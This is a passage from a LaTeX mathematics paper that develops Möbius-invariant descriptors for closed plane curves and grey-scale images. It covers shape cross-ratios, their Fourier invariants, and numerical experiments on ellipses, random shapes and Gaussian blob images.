In this example, the cross-ratio approximation has errors approximately 0.176 times those of the curvature approximation (see Fig.~\ref{fig:ell2}). However, due to some cancellations in this particular example, the curvature approximation actually gives a slightly more accurate approximation to the M\"obius length (see Fig.~\ref{fig:ellipseerr}). The dominant sources of error can be eliminated by two steps of Richardson extrapolation, f\/irst to remove the $\mathcal{O}(h^{3/2})$ error, and then to remove the $\mathcal{O}(h^2)$ error. This is highly successful and allows the calculation of the M\"obius length with an error of less than $10^{-10}$, even though it is singular and involves a 3rd derivative.
Next, we subject the ellipse to a variety of M\"obius transformations. The resulting shapes and errors are shown in Fig.~\ref{fig:mobiusdemo}. The errors increase markedly for the curvature method, which is not M\"obius invariant, but are unchanged for the cross-ratio method, which is M\"obius invariant. Thus, this experiment supports the argument of~\cite{calabi1998differential} that numerical approximations of invariants should themselves be invariant.
\begin{figure}[t]\centering
\includegraphics[scale=0.86]{ellipseerr}
\caption{The error in the two approximations of the total M\"obius length of the ellipse. Here there are $n := 25\cdot 2^j$ points on the ellipse.}\label{fig:ellipseerr}
\end{figure}
\begin{figure}[t!]\centering
\includegraphics[scale=1]{mobiusdemo}
\caption{The ellipse subjected to 16 dif\/ferent M\"obius transformations $z \mapsto \frac{z}{1 + d z}$. 10 landmarks, equally spaced in $\lambda$, are shown. Next to each shape is given the error in its M\"obius length as calculated by the curvature method. The error in the cross-ratio method is $0.005$ for all shapes, because it is M\"obius invariant. (The other M\"obius transformations are the Euclidean similarities, which are easy to visualize. Figures not to scale.)}\label{fig:mobiusdemo}
\end{figure}
\subsection[The M\"obius invariant ${\rm CR}(\lambda;z,\delta)$]{The M\"obius invariant $\boldsymbol{\mathrm{CR}(\lambda;z,\delta)}$}\label{sec:cr}
The method proposed in this paper for closed curves is to parameterize the curve by M\"obius arclength, giving $z(\lambda)$, and to use as an invariant the cross-ratio of all sets of 4 points a distance~$\delta$ apart. We call this the Shape Cross-Ratio, or SCR.
\begin{Definition} Let $z\colon S^1\to\mathbb{C}$ be a smooth curve. Let $L$ be its M\"obius length, and let $\tilde z \colon \mathbb{R}\to \mathbb{C}$ be an $L$-periodic function representing the curve parameterized by M\"obius arclength. The shape cross-ratio of $z$ is the $L$-periodic function $\mathrm{SCR}\colon \mathbb{R}\to\overline{\mathbb{C}}$ def\/ined by{\samepage
\begin{gather*}
\mathrm{SCR}(\lambda;z,\delta) = \mathrm{CR}(\tilde z(\lambda), \tilde z(\lambda+\delta), \tilde z(\lambda+2\delta), \tilde z(\lambda + 3\delta)).
\end{gather*}
The shape cross-ratio {\em signature} of $z$ is the shape $\mathrm{SCR}(\mathbb{R};z,\delta)\subset\overline{\mathbb{C}}$.}
\end{Definition}
The shape cross-ratio is invariant under the M\"obius group, and sense-preserving reparameterizations of the curve act as translations in $\lambda$. (Reversals of the curve will be considered in Section~\ref{sec:reversals}.) The shape cross-ratio signature is invariant under the M\"obius group and under reparameterizations of the curve.
For an $L$-periodic function $f\colon \mathbb{R}\to\mathbb{C}$ we will denote its Fourier coef\/f\/icients by
\begin{gather*}
\mathcal{F}(f)_n = \frac{1}{L} \int_0^L f(t) e^{-2 \pi {\rm i} n t / L} \mathrm{d} t.
\end{gather*}
The translation $t\mapsto t+c$ acts on the Fourier coef\/f\/icients as $\mathcal{F}(f)_n \mapsto e^{-2\pi {\rm i} c n/L} \mathcal{F}(f)_n$. The Fourier amplitudes $|\mathcal{F}(f)_n|^2$ are invariant under translations, and can be used to recognize functions up to translations, but are clearly not a complete invariant: for a function discretized at $N$ equally-spaced points, and using the DFT, the space of orbits has dimension $2N-1$ and we have only $N$ invariants. The bispectrum~\cite{kakarala2012bispectrum} $\mathcal{F}(f)_m\mathcal{F}(f)_n\mathcal{F}(f)_{-m-n}$ is better, being complete on functions all of whose Fourier coef\/f\/icients are non-zero, but it is a very large set of invariants. Other invariants are $\mathcal{F}(\phi_1\circ f)_n \mathcal{F}(\phi_2\circ f)_{-n}$ for any functions $\phi_{1,2}$. Each such choice provides $2N$ invariants. The choice of $\phi_1$ and $\phi_2$ determines which aspects of $f$ are measured by the invariant. If necessary, several such pairs may be used.
\begin{Definition}
The Fourier cross-ratio of the shape $z$ is
\begin{gather}\label{eq:fcr1}
\mathrm{FCR}(\cdot;z,\delta)\colon \ {\mathbb Z}\to\mathbb{C},\qquad\!\! \mathrm{FCR}(n;z,\delta) = \mathcal{F}(\phi_1\circ\mathrm{SCR}(\cdot;z,\delta))_n \mathcal{F}(\phi_2\circ\mathrm{SCR}(\cdot;z,\delta))_{-n},\!\!
\end{gather}
where the Fourier transforms are based on the M\"obius length $L$ of $z$.
\end{Definition}
In the numerical illustrations we use
\begin{gather}\label{eq:fcr2}
\phi_1(w) = \frac{w}{\sqrt{1+|w|^2}},\qquad \phi_2(w) = \phi_1(w)^2
\end{gather}
and the distance between the invariants of two shapes $z_1$ and $z_2$ given by
\begin{gather} \label{eq:fcr3}
\| \mathrm{FCR}(\cdot;z_1,\delta)-\mathrm{FCR}(\cdot;z_2,\delta) \|_2.
\end{gather}
The motivation here is that the cross-ratio becomes arbitrarily large when two dif\/ferent parts of the curve approach one another. If left untouched (i.e., if we use just $\phi_1(w)=w$), then these large spikes in $\mathrm{SCR}(\lambda;z,\delta)$ will dominate all other contributions to the shape measurement. By scaling them using~\eqref{eq:fcr2}, they will still contribute to the description of the shape, but in a way that is balanced with respect to other parts of the shape. $\phi_1$ and $\phi_2$ take values in the unit disk and $\phi_2$ is sensitive to the main range of features of shapes; only values of $\mathrm{SCR}$ near~0 are suppressed, and these are rare.
The invariant $\mathrm{SCR}(\lambda;z,\delta)$ is smooth on simple closed curves, and also on most curves with self-intersections (blow-up requires the close approach of two points M\"obius distance $n\delta$ apart). It is locally complete, as given $z([a,a+3\delta])$, the invariant $\mathrm{SCR}(\lambda)$ determines $z$. We do not know if it is globally complete, i.e., if, given $\mathrm{SCR}(\lambda)$ which is the invariant of some shape, the shape can be determined up to M\"obius transformations, because this requires solving a nonlinear functional boundary value problem. Subject to this restriction, the invariant $\mathrm{FCR}(n;z,\delta)$ is complete except on a residual set of shapes (those for which enough Fourier coef\/f\/icients in~\eqref{eq:fcr1} are zero).
We will f\/irst study the numerical approximation of $\mathrm{SCR}$ and then study its use in recognizing shapes modulo M\"obius transformations.
The numerical experiments in Section~\ref{sec:ellipse} convinced us to approximate the M\"obius arclength using the cross-ratio. However, when combined with piecewise linear interpolation to locate points on the curve the required distance $\delta$ apart, we found that the resulting values of $\mathrm{SCR}(\lambda;z,\delta)$ did not converge as $h\to 0$. This is due to accumulation of errors along the curve, which arise particularly at the vertices due to the singularities there. This prompted us to develop a more ref\/ined interpolation method that takes into account the singularities of $\mathrm{d}\lambda/\mathrm{d} t$ at the vertices. We call it the {\em modified cross-ratio method}:
\begin{enumerate}\itemsep=0pt
\item Calculate the square of the M\"obius arclength density at the centre of each cell, as
\begin{gather*} \left(\frac{\mathrm{d}\lambda}{\mathrm{d} t}\right)^2_{i+3/2} = 6 \operatorname{Im}(\log(\mathrm{CR}(z_i,z_{i+1},z_{i+2},z_{i+3}))). \end{gather*}
If the curve is smooth, this is a smooth function.
\item Let $f(t)$, $0\le t<1$, be the piecewise linear interpolant of $\left(\frac{\mathrm{d}\lambda}{\mathrm{d} t}\right)^2_{i+3/2}$.
\item Calculate $\lambda(t)=\int_0^t \sqrt{|f(\tau)|}\, \mathrm{d}\tau$ and its inverse, $t(\lambda)$, used in locating the parameter values at which points a~desired length apart are located, {\em exactly} (we omit the formulas).
\item The desired points $z(t(\lambda+n \delta))$ are calculated using linear interpolation from the known values $z(i h)$.
\item The cross-ratio is evaluated at $N$ points equally spaced in $\lambda$, giving $\mathrm{SCR}(i L /N;z,\delta)$ for $i=1,\dots,N$, and the Fourier invariant $\mathrm{FCR}$ evaluated using two FFTs.
\end{enumerate}
The resulting cross-ratio is globally second-order accurate in $h$. Its accuracy could be increased for smooth curves using higher order interpolation, but the calculation of the inverse $t(\lambda)$ would be much more complicated and the method would be less robust.
The error in the length $L$ of the ellipse used in Section \ref{sec:ellipse} as calculated by this method is shown in Fig.~\ref{fig:ellipseerr}. It behaves extremely reliably over a wide range of scales of $h$; its error after one Richardson extrapolation is observed to be $\mathcal{O}(h^4)$, which indicates that the singularities at the vertices have been completely removed.
The parameter $\delta$ is the length scale on which $\mathrm{SCR}(\lambda;z,\delta)$ describes the shape. However, if $\delta\to 0$ then $\mathrm{SCR}(\lambda;z,\delta)\to \kappa_{\text{\tiny M\"ob}}\pm \mathrm{i}$: the real part becomes extremely nonrobust and the imaginary part yields no information~\cite{Patterson1928}. In the experiments in this paper we have used $\delta = L/8$. Choosing $L/\delta\in\mathbb{Z}$ seems to yield somewhat improved accuracy, as the same values of~$z$ are used repeatedly.
\begin{figure}[t!]\centering
\includegraphics[width=125mm]{ellipseerr2}
\caption{Average error in $L$ (left) and $\mathrm{FCR}$ (right) for the ellipse shown in Fig.~\ref{fig:ellipse} as a function of the number of points $N$ and noise level $\varepsilon$.}\label{fig:ellipseerr2}
\end{figure}
As the method relies on parameterization by M\"obius arclength, it is unavoidably sensitive to noise in the data. We test its sensitivity for a noise model in which each point on the discrete curve is subject to normally distributed noise of standard deviation $\varepsilon$. The dependence of the error on $\epsilon$ and $N$ is shown for length and cross-ratio invariants in Fig.~\ref{fig:ellipseerr2}. Clearly, both are sensitive to relatively small amounts of noise. However, some positive features can also be seen:
\begin{itemize}\itemsep=0pt
\item[(i)] The errors in $L$ and $\mathrm{FCR}(n;z,\delta)$ are both $\mathcal{O}(h^2)$ in the absence of noise.
\item[(ii)] The errors in $\mathrm{FCR}(n;z,\delta)$ are much smaller than those in $L$~-- their relative errors are about 8 times smaller. (For the ellipse, $L\approx6.86$ and $\|\mathrm{SCR}(\cdot;z,\delta)\|_2\approx 0.65$.)
\item[(iii)] The error in $\mathrm{FCR}(n;z,\delta)$ appears to saturate at about 13\% as $\varepsilon$ increases and as $N$ increases.
\end{itemize}
Point (iii) is particularly striking. It appears to hold because (a) $\delta$ is chosen to be proportional to $L$, and thus when the noise is high, the chosen points stay roughly in their correct places; and (b) noise in the chosen points is averaged out by the Fourier transform, which remains dominated by its f\/irst few terms. This ef\/fect is illustrated in Fig.~\ref{fig:ellipseerr3} in which a single noise realization is illustrated for value of $\varepsilon$ from 0 to $10^{-2}$. Even though $L$ is overestimated by a~factor of~100, the signature cross-ratio $\mathrm{SCR}(\lambda;z,\delta)$ is still recognizable.
\begin{figure}[t!]\centering
\includegraphics[width=125mm]{ellipseerr3}
\caption{The cross-ratio signature $\mathrm{SCR}\colon S^1\to\mathbb{C}$ (blue), and the error in its Fourier invariant $\mathrm{FCR}$, is shown for the ellipse discretized with $N=128$ points and various levels of noise. The exact signature is shown in red.}\label{fig:ellipseerr3}
\end{figure}
\begin{figure}[t!]\centering
\includegraphics[width=100mm]{shapes}
\caption{The set of 16 shapes used in the numerical experiments. The shapes are shown to scale with the shape number marking the origin, along with the shape's M\"obius length $L$ and number of vertices $V$.}\label{fig:shapes}
\end{figure}
\begin{figure}[t!]\centering
\includegraphics[width=126mm]{distancecorr}
\caption{Scatter plot of distance between all 120 pairs of 16 shapes with respect to (i) the $H^1$ distance between the shapes, as def\/ined in \eqref{eq:d1}--\eqref{eq:d3}, and (ii) the distance between their M\"obius invariants, def\/ined in \eqref{eq:fcr1}--\eqref{eq:fcr3}. The correlation coef\/f\/icient is 0.85. The registration between the 4 pairs marked with circles is illustrated in Figs.~\ref{fig:ref1213}--\ref{fig:ref0911}.}\label{fig:distancecorr}
\end{figure}
\subsection{Comparison with shape registration}\label{sec:comparison}
We now compare the results of the M\"obius invariant $\mathrm{FCR}(n;z,\delta)$ with direct registration of shapes. Given two shapes $z$ and $w$ we def\/ine the $G$-registration of $z$ onto $w$ as
\begin{gather}\label{eq:d1}
r_G(z,w) = \min_{\varphi\in G\atop \psi\in\operatorname{Dif\/f}^+(S^1)} \| \varphi\circ z\circ\psi - w \| .
\end{gather}
Dif\/ferent choices of norm in \eqref{eq:d1} will give dif\/ferent registrations; we have used the $H^1$ norm
\begin{gather}\label{eq:d2}
\|z\|_{H^1}^2 = \int_0^1 |z(t))|^2 + \alpha |z'(t))|^2\, \mathrm{d} t,
\end{gather}
where the constant $\alpha$ was chosen as $0.1$, a value which made both contributions to the norm roughly equal. One of the peculiarities of the M\"obius group is that~$z$ may register very well onto~$w$ while $w$ registers poorly onto~$z$. This happens when~$z$ has a distinguished feature which can be squashed, thus minimizing its contribution to~$r_G(z,w)$. Therefore in our experiments we use the `distance'
\begin{gather} \label{eq:d3}
d_G(z,w) = \max(r_G(z,w),r_G(w,z)).
\end{gather}
\begin{figure}[t!]\centering
\includegraphics[width=7.8cm]{reg1213}
\caption{Registration of shapes 12 (blue) \& 13 (red). This pair has the closest M\"obius invariants (distance 0.0426, see~\eqref{eq:fcr3}), is 9th closest after M\"obius registration, and 96th closest after similarity registration. (a)~Similarities act on blue shape; (b)~Similarities act on red shape; (c)~M\"obius acts on blue shape; (d)~M\"obius acts on red shape. Here $d=r_G(x,y)$ where $x$ and $y$ are the two shapes, see equation~\eqref{eq:d1}.}\label{fig:ref1213}\vspace{-2.5mm}
\end{figure}
\begin{figure}[t!]\centering
\includegraphics[width=7.9cm]{reg0216}
\caption{Registration of shapes 2 (blue) \& 16 (red). This pair has the 2nd closest M\"obius invariants (distance 0.0697), see \eqref{eq:fcr3}), is 3rd closest after M\"obius registration, and 42rd closest after similarity registration. (a)~Similarities act on blue shape; (b)~Similarities act on red shape; (c)~M\"obius acts on blue shape; (d)~M\"obius acts on red shape. Here $d=r_G(x,y)$ where $x$ and $y$ are the two shapes, see equation~\eqref{eq:d1}.}\label{fig:ref0216}
\end{figure}
\begin{figure}[t]\centering
\includegraphics[width=7.9cm]{reg0810}
\caption{Registration \looseness=1 of shapes 8 (blue) \& 10 (red). This pair is closest after M\"obius registration. It~has the 11st closest M\"obius invariants (distance 0.1165) and is the closest pair after similarity registration.
(a)~Similarities act on blue shape; (b)~Similarities act on red shape; (c)~M\"obius acts on blue shape; (d)~M\"obius acts on red shape. Here $d=r_G(x,y)$ where $x$ and $y$ are the two shapes, see equation~\eqref{eq:d1}.}\label{fig:ref0810}
\end{figure}
\begin{figure}[t]\centering
\includegraphics[width=7.9cm]{reg0911}
\caption{Registration of shapes 9 (blue) \& 11 (red). This pair has the 3rd closest M\"obius invariants (distance 0.0798), is 9th closest after M\"obius registration, and 96th closest after similarity registration. (a)~Similarities act on blue shape; (b)~Similarities act on red shape; (c)~M\"obius acts on blue shape; (d)~M\"obius acts on red shape. Here $d=r_G(x,y)$ where~$x$ and~$y$ are the two shapes, see equation~\eqref{eq:d1}.}\label{fig:ref0911}
\end{figure}
Note that this should not be regarded as any kind of `ground truth' for the $G$-similarity of~$z$ and~$w$. It is not $G$-invariant. However, as we shall see, it does correspond remarkably well to the M\"obius invariants described earlier.
To calculate $d_G(z,w)$ numerically, we discretize $\operatorname{Dif\/f}^+(S^1)$ by piecewise linear increasing functions with 16 control points and perform the optimization using Matlab's {\tt lsqnonlin}, with initial guesses for $\varphi$ chosen to be each of 4 rotations and 3 scale factors for $\varphi$, and initial $\psi$ chosen to be the identity.
\looseness=-1 We generated 16 random shapes from a 14-dimensional distribution that favours smooth Jordan curves of similar sizes (where $U(0,2\pi)$ denotes uniform random numbers in the range~$0$ to~$2\pi$):
\begin{gather*} z(t) = \sum_{n=-4}^4 a_n \mathrm{e}^{2\pi \mathrm{i} n t},\qquad
\operatorname{Re}(a_n), \, \operatorname{Im}(a_n) \in N\big(0, 1/\big(1+|n|^3\big)\big), \qquad n\ne \pm 1,\\
\arg a_1\in U(0,2\pi),\qquad |a_1|=1,\qquad a_{-1}/a_1 \in U(0, 0.6).\end{gather*}
The shapes are shown in Fig.~\ref{fig:shapes}. They are all simple closed curves, which we take to be positively oriented. The 120 pairs of distinct shapes are registered in both directions, and the scatter plot between this distance and the 2-norm of the distance between their invariants is shown in Fig.~\ref{fig:distancecorr}. The correlation (0.85) is extremely striking, and suggests that this pair of measures may be related by bounded distortion \eqref{eq:boundeddistortion}, implying that they meet many of the requirements that we identif\/ied in Section~\ref{sec:req}; they are also quick to compute and provide a good numerical approximation.
Some examples of the registrations in the similarity and M\"obius groups are shown for four close pairs in Figs.~\ref{fig:ref1213}--\ref{fig:ref0911}. Including the invariants $L$ and $V$ in the list of invariants did not improve the correlation. Note that the errors in $\|\mathrm{FCR}(\cdot;z,\delta)\|$ observed in Fig.~\ref{fig:ellipseerr} are small enough to allow the separation of all but the closest pairs of shapes, regardless of the level of noise $\varepsilon$.
\subsection{Reversals and ref\/lections}\label{sec:reversals}
Orientation reversals and ref\/lections are examples of actions of discrete groups and can, in theory, be handled by any of the approaches in Section \ref{sec:invariants2}. First, consider the sense-reversing repara\-me\-te\-ri\-za\-tions, $z(t)\mapsto z(-t)$. These map the SCR invariant as $\mathrm{SCR}(\lambda;z,\delta) \mapsto \mathrm{SCR}(-\lambda;z,\delta)$ and hence $\mathrm{FCR}(n) \mapsto \mathrm{FCR}(-n)$. It is convenient to pass to the equivalent invariants:
\begin{gather*}
x_n = \begin{cases}
\mathrm{FCR}(n)-\mathrm{FCR}(-n), & n>0, \\
\mathrm{FCR}(n)+\mathrm{FCR}(-n), & n\le 0,
\end{cases}
\end{gather*}
for which $x_n$ is invariant for $n\le 0$ and $x_n\mapsto -x_{-n}$ for $n>0$. Suppose that we wish to identity curves with their reversals, that is, to work with unoriented shapes. Some options are the following:
\begin{enumerate}\itemsep=0pt
\item The moving frame method: the shapes are put into a reference orientation f\/irst. This is only possible if the problem domain is restricted suitably; in this case, for example, to simple closed curves, which can be taken to be positively oriented. This is the approach that we have taken in Sections~\ref{sec:cr} and~\ref{sec:comparison}. If the problem domain includes non-simple curves this approach may not be possible. For example, in the space of plane curves with the topology of a f\/igure 8, each such shape can be continuously deformed into its reversal; thus we cannot assign them orientations, since they vary continuously with the shape.
\item Finding a complete set of invariants: this is $x_n$ for $n\le0 $ and $x_i x_j$ for $i,j>0$. Again we see that the quotient by a relatively simple group action is expensive to describe completely using invariants.
\item Use an incomplete set of invariants that is ``good enough'': here, using $x_n$ for $n\le 0$ and $x_n x_{n+1}$ for $n>0$ is a possibility. This creates a complicated ef\/fect on the metric used to compare invariants.
\item As the group action is of a standard type, one can work in unreduced coordinates ($x_n$) together with a natural metric induced by the quotient, such as some function of $\|x\|-\|y\|$ and the Fubini--Study metric on projective space, $\cos^{-1}(|\bar x^T y|/\|x\|\|y\|)$.
\item Finally, and most easily in this case, for f\/inite groups one can represent points in the quotient as entire group orbits. A~suitable metric is then
\begin{gather*}
d(x,y) = \min_{g\in G}\|x - g\cdot y\|,
\end{gather*}
where $G$ is the group. Although this is impractical for large f\/inite groups, here $G$ is $\mathbb{Z}_2$.
\end{enumerate}
Similar considerations apply to recognizing shapes modulo the full inversive group, generated by the M\"obius group together with a ref\/lection, say $z\mapsto \bar z$. The ref\/lection maps $\mathrm{FCR}(n)\mapsto \overline{\mathrm{FCR}(n)}$ and hence is an action of the same type as reversal (a sign change in some components). The ref\/lection symmetry of the ellipse in Fig.~\ref{fig:ellipse}, for example, can be detected by the ref\/lection symmetry of the cross-ratio signature $\mathrm{SCR}(\lambda)$ in Fig.~\ref{fig:ellipseerr3}. (Its second discrete symmetry, a rotation by $\pi$, is manifested in Fig.~\ref{fig:ellipseerr3} by the signature curve retracting itself twice.)
The invariants developed here are for closed shapes. They can be adapted for other types of shapes (for example, shapes with the topology of two disjoint circles), but as the topology gets more complicated (for example, shapes consisting of many curve segments) the problem becomes signif\/icantly more dif\/f\/icult.
\section{M\"obius invariants of images}\label{sec:images}
Let $f \colon \overline{\mathbb{C}} \to [0,1]$ be a smooth grey-scale image. Dif\/feomorphisms act on images by $\varphi\cdot f := f\circ \varphi^{-1}$. It is easy, in principle, to adapt the M\"obius shape invariant $\mathrm{SCR}$ to images by computing level sets of $f$, each of which is an invariant shape for which $\mathrm{SCR}$ can be calculated. In addition, if $\varphi$ is conformal, the orthogonal trajectories of the level sets, i.e., the shapes tangent to $\nabla f$, are also invariant shapes. In the neighbourhood of a simple closed level set, coordinates $(\lambda,\mu)$ can be introduced, where $\lambda$ is M\"obius arclength along the level set and $\mu$ is M\"obius arclength along the orthogonal trajectories. The quantity
\begin{gather}\label{eq:cri}
\mathrm{CR}(z(\lambda,\mu), z(\lambda,\mu+\delta), z(\lambda+\delta,\mu+\delta),z(\lambda+\delta,\mu)),
\end{gather}
calculated from the cross-ratio of 4 points in a square, is then invariant under the M\"obius group, and reparameterizations of the level set act as translations in $\lambda$.
In practice, however, the domain of this invariant is quite restricted. The topology of level sets is typically very complicated and the domain of~$f$ may be restricted, so that level sets can stop at the edge of the image. Restricting to level sets of grey-scales near the maximum and minimum of~$f$ helps, but this is a severe restriction. Instead, we shall show that the extra information provided by an image, as opposed to that provided by a~shape, determines a dif\/ferential invariant signature using only 3rd derivatives, compared to the 5th derivatives needed for dif\/ferential invariants of shapes. Because of this, we do not develop the cross-ratio invariant~(\ref{eq:cri}) any further here.
\begin{Proposition} Let $f \colon \overline{\mathbb{C}}\to\mathbb{R}$ be a smooth grey-scale image. Let $R\subset\overline{\mathbb{C}}$ be the regular points of $f$. Identify $x_1+{\rm i}x_2\in\mathbb{C}$ with $(x_1,x_2)\in\mathbb{R}^2$ so that $\nabla f$ is the standard Euclidean gradient. On $R$, define
\begin{gather*}
n := \frac{\nabla f}{ \| \nabla f\|},\qquad
\lambda_n := \frac{n\cdot \nabla (\nabla\times n)}{\|\nabla f\|^2},\qquad
\lambda_t := \frac{n\times \nabla(\nabla\cdot n)}{\|\nabla f\|^2}.\end{gather*}
Then
\begin{gather}\label{eq:sig}
(f, \lambda_n, \lambda_t)(R)
\end{gather}
is a subset of $\mathbb{R}^3$ that is invariant under the action of the M\"obius group on images.
\end{Proposition}
\begin{proof} As def\/ined above, $n$ is the unit vector f\/ield normal to the level sets of~$f$. Let $n^\perp$ be the unit vector tangent to the level sets given by $n^\perp_i = \varepsilon_{ij}n_j$. (Here $i,j=1,2$ and $\varepsilon_{ij}$ is the Levi-Civita symbol def\/ined by $\varepsilon_{11}=\varepsilon_{22}=0$, $\varepsilon_{12}=1$, $\varepsilon_{21}=-1$; we sum over repeated indices and write $n_{i,k} = \partial n_i/\partial x_j$.) From the Frenet--Serret relation $n_s = \kappa n^\perp$, where $s$ is arclength along the level sets, we have that the curvature of the level sets is
\begin{align*}
\kappa &= n^\perp\cdot n_s = n^\perp\cdot((n^\perp\cdot\nabla)n)= \varepsilon_{ij} n_j \varepsilon_{kl}n_l n_{i,k}
=(\delta_{ik}\delta_{jl} - \delta_{il}\delta_{jk}) n_j n_l n_{i,k} \\
&= n_j n_j n_{k,k} - n_k n_i n_{i,k} = n_{k,k} \quad \hbox{\rm (because\ }n_j n_j = 1\Rightarrow n_i n_{i,k}=0\hbox{\rm\ for all\ }k)\\
&= \nabla \cdot n.
\end{align*}
Recall that the M\"obius arclength of the level sets of $f$ is $\mathrm{d}\lambda := \sqrt{|\kappa_s|}\mathrm{d}s$. Under any conformal map, the scaling along and normal to the level sets is the same, and thus $\mathrm{d}s$ and $1/\|\nabla f\|$ both scale by the same factor. Therefore $\sqrt{|\kappa_s|}/\|\nabla f\|$ is invariant, as is its square $|\kappa_s|/\|\nabla f\|^2$. The sign of $\kappa_s$ is also invariant under M\"obius transformations, resulting in the given invariant $\lambda_t = \kappa_s/\|\nabla f\|^2$.
The invariant $\lambda_n$ arises in the same way from the orthogonal trajectories, whose curvature is $\nabla\cdot n^\perp = \nabla\times n$.
\end{proof}
\begin{Example} As a test image we take the smooth function
\begin{gather}\label{eq:f}
f(x,y) = e^{-4x^2-8\big(y-0.2 x - 0.8 x^2\big)^2}
\end{gather}
and calculate its invariant signature before and after the M\"obius transformation with parameters
\begin{gather}\label{eq:abcd}
a = 0.9 + 0.1\mathrm{i},\qquad b = 0.1,\qquad c = 0.1+0.4\mathrm{i},\qquad d = 1.
\end{gather}
on the domain $[-1,1]^2$. The invariants are approximated by f\/inite dif\/ferences with mesh spacing $1/80$, corresponding to $161\times 161$ pixel images. The invariants are shown as functions of $(x,y)$ in Fig.~\ref{fig:lamn} for~$\lambda_n$ and Fig.~\ref{fig:lamt} for~$\lambda_t$. The resulting signature surfaces, shown for~$f$ in Fig.~\ref{fig:sig3D} in~$\mathbb{R}^3$, are quite complicated. A useful way to visualize and compare them is shown in Fig.~\ref{fig:sig}. For example, one can plot the contours of~$f$ in the $(\lambda_n,\lambda_t)$ plane, and similarly for other projections. This enables a sensitive comparison of the signatures of the image and its M\"{o}bius transformed version and reveals that they are extremely close.
\end{Example}
\begin{figure}[t!]\centering
\includegraphics[width=7.7cm]{lamn1}
\smallskip
\includegraphics[width=7.7cm]{lamn}
\caption{Contours 0.1,0.2,\dots,0.9 of a function are shown in blue, together with its invariant $\lambda_n$: contour 0 in green, contours $-0.25$, $-1$, and $-100$ in red, and contours 0.25, 1, and 100 in black. Top: function $f$ from (\ref{eq:f}). Bottom: M\"obius related function $f\circ\varphi^{-1}$, parameters in (\ref{eq:abcd}). The invariance can be seen, along with the way that $\lambda_n$ typically blows up as $\nabla f\to 0$. A small discretization error is visible in the top f\/igure: the saddle point near $(-0.5,-0.5)$ has $\lambda_n\approx 1.07$, whereas the exact value is 0.94. This results in the wrong topology of the $+1$ contour (cf.\ bottom f\/igure near $(-0.8,-0.2)$).}\label{fig:lamn}
\end{figure}
\begin{figure}[t!]\centering
\includegraphics[width=7.8cm]{lamt1}
\smallskip
\includegraphics[width=7.8cm]{lamt2}
\caption{Contours 0.1,0.2,\dots,0.9 of a function are shown in blue, together with its invariant $\lambda_t$: contour 0 (which locates vertices (points of stationary curvature) of the level sets) in green, contours $-0.25$, $-1$, and $-100$ in red, and contours 0.25, 1, and 100 in black. Top: function $f$ from (\ref{eq:f}). Bottom: M\"obius related function $f\circ\varphi^{-1}$, parameters in (\ref{eq:abcd}). }\label{fig:lamt}\vspace{-2.5mm}
\end{figure}
\begin{figure}[t!]\centering
\begin{minipage}[b]{0.4\textwidth}
\centering
\includegraphics[width=0.6\textwidth]{blobgray}
\begin{overpic}[width=0.95\textwidth]{blobhill}
\put (75,-5) {\small $-1$}
\put (90,11) {\small$x$}
\put (102,25) {\small$1$}
\put (0,5) {\small$1$}
\put (30,0) {\small$y$}
\end{overpic}
\end{minipage}
\begin{minipage}[b]{0.6\textwidth}\centering
\includegraphics[width=95mm]{sig3D}
\end{minipage}
\caption{The sample image def\/ined in equation~(\ref{eq:f}) is shown in grayscale (top left) and as a graph $(x,y,f(x,y))$ (bottom left). Its M\"obius signature surface~(\ref{eq:sig}) is shown at right.}\label{fig:sig3D}\vspace{-1mm}
\end{figure}
\begin{figure}[t!]\centering
\includegraphics[width=130mm]{sig}
\caption{The invariant signature $(f,\lambda_n,\lambda_t)$ shown for $f$ in the left column and for $f\circ\varphi^{-1}$ in the right column. Top: contours 0.2, 0.4, 0.6, and 0.8 of~$f$; middle and bottom: contours $-1$, $-0.25$, 0, 0.25, and~1 of~$\lambda_n$ (resp.~$\lambda_t$). The two invariants are almost identical in appearance (see, e.g., the $-1$ (dark blue) contour of $\lambda_t$ near $(\lambda_n,f)=(1,0.6)$, which is slightly dif\/ferent in the left and right columns).}\label{fig:sig}
\end{figure}
\begin{Example}\label{example3} \looseness=1 As a more numerical example, we take 9 similar blob-like functions, constructed as the sum of four random 2D Gaussian functions, and their M\"obius images under a random Mobius transform, and compare their invariant signatures. The functions and their Mobius-transformed variants $f\circ\varphi^{-1}$ are shown in Fig.~\ref{fig:9blobs1} as level set contours, while the invariant signatures are shown in Fig.~\ref{fig:9blobs3}. Because the whole invariant signature surfaces are very complicated, we show just the signature curve corresponding to the level set $f^{-1}(0.5)$. This depends only on the f\/irst 3 derivatives of~$f$ on the level set. Because~$\lambda_n$ and $\lambda_t$ take values in $[-\infty,\infty]$, we use coordinates $(\arctan(\lambda_t/4),\arctan(\lambda_n/4))$. Clearly, even this very limited portion of the signature serves to distinguish the M\"obius-related pairs extremely sensitively. In some cases, the invariants change extremely rapidly along the level set, so that even though they are eva\-luated accurately, the resulting contours of the M\"obius-related pairs do not overlap. This would need to be taken into account in the development of a distance measure on the invariant signatures.
\end{Example}
\begin{figure}[t!]\centering
\includegraphics[width=6cm]{9blobs1} \quad
\includegraphics[width=6cm]{9blobs2}
\caption{Nine random blob-like functions are shown on the left. Each is given by the sum of 4 random Gaussians, with the range of the resulting function scaled to $[0,1]$. The domain is $[-1,1]^2$ and the functions are discretized with $h=1/80$ giving $161\times161$ grey-scale images. For each of the 9 functions~$f$, a~random M\"obius transformation $\varphi$ is chosen and the composition $f\circ\varphi^{-1}$ shown on the right, evaluated on the domain $[-1,1]^2$. The transformations have parameters $b=0$, $a$ uniform in an annulus with inner radius 0.7 and outer radius 1.3, $d=1$, and $c$ with uniform argument and normal random modulus with standard deviation 0.6. The contours 0.1, 0.2,\dots,0.9 of the functions are shown.}\label{fig:9blobs1}
\end{figure}
\begin{figure}[t!]\centering
\includegraphics[width=6cm]{9blobs3}
\caption{The invariant signature $(\arctan(\lambda_t/4),\arctan(\lambda_n/4))$ evaluated on the level set $f^{-1}(0.5)$ is calculated by central dif\/ferences for each of the images in Fig.~\ref{fig:9blobs1} left (shown in blue) and for the corresponding images in Fig.~\ref{fig:9blobs1} right (shown in red). The domains are $[-\pi/2,\pi/2]^2$. The signature curves distinguish the M\"obius-related pairs very sensitively; only tiny f\/inite dif\/ference errors are visible. However, some errors related to insuf\/f\/icient resolution of the signature curves are clearly visible.}\label{fig:9blobs3}
\end{figure}
